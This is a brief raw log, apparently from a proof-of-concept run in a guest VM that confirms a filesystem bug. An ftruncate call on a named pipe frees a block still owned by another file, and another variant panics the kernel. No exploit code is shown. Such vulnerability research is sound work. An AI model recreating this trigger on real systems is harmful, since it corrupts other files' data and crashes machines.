total 104
11 drwx------  2 root  wheel  16384 Sep  7 20:53 lost+found
13 prw-rw-rw-  1 root  wheel  65536 Sep  7 20:53 targetA
14 prw-rw-rw-  1 root  wheel  65536 Sep  7 20:53 targetB
12 -rw-r--r--  1 root  wheel   4096 Sep  7 20:53 victim
[trigger] pre : f_bfree=483 f_blocks=492
[trigger] opened /mnt/df3175/targetB (fd=3), calling ftruncate(fd, 0)...
[trigger] ftruncate returned rc=0 errno=0 (success)
[trigger] post: f_bfree=484 (delta 1)
[trigger] SILENT FREE CONFIRMED: 1 block(s) freed that are still owned by other files
evil[0:16]  =
BBBBBBBBBBBBBBBB
victim[0:16]=
AAAAAAAAAAAAAAAA
--- variant A (panic) captured in panic.txt; guest down ---